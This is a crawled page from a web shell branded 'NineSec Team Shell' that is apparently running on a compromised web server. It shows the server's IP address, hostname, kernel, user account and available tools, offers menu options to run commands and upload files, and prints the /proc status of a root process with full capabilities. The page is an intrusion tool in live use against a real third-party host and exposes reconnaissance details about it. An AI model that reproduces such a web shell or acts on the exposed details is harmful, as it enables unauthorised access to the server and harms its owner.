NineSec Team Shell
Server IP : 184.107.3.203  /  Your IP : 216.73.216.51
Web Server : Apache
System : Linux dedicated2.avenfashion.com.ph 4.18.0-553.40.1.el8_10.x86_64 #1 SMP Mon Feb 10 12:11:18 EST 2025 x86_64
User : adminteladeoro ( 1015)
PHP Version : 8.2.28
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0555) :  /proc/1197304/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //proc/1197304/status
Name:	tailwatchd
Umask:	0022
State:	S (sleeping)
Tgid:	1197304
Ngid:	0
Pid:	1197304
PPid:	1
TracerPid:	0
Uid:	0	0	0	0
Gid:	0	0	0	0
FDSize:	128
Groups:	 
NStgid:	1197304
NSpid:	1197304
NSpgid:	1197304
NSsid:	1197304
VmPeak:	  130500 kB
VmSize:	  130464 kB
VmLck:	       0 kB
VmPin:	       0 kB
VmHWM:	   30268 kB
VmRSS:	   30268 kB
RssAnon:	   19888 kB
RssFile:	   10380 kB
RssShmem:	       0 kB
VmData:	   21156 kB
VmStk:	     132 kB
VmExe:	     196 kB
VmLib:	   17192 kB
VmPTE:	     288 kB
VmSwap:	       0 kB
HugetlbPages:	       0 kB
CoreDumping:	0
THP_enabled:	1
Threads:	1
SigQ:	1/18446744073709551615
SigPnd:	0000000000000000
ShdPnd:	0000000000000000
SigBlk:	0000000000000000
SigIgn:	0000000000013080
SigCgt:	0000000180004201
CapInh:	0000000000000000
CapPrm:	000001ffffffffff
CapEff:	000001ffffffffff
CapBnd:	000001ffffffffff
CapAmb:	0000000000000000
NoNewPrivs:	0
Seccomp:	0
Speculation_Store_Bypass:	thread vulnerable
Cpus_allowed:	ff
Cpus_allowed_list:	0-7
Mems_allowed:	00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000001
Mems_allowed_list:	0
voluntary_ctxt_switches:	13913323
nonvoluntary_ctxt_switches:	585475

NineSec Team - 2022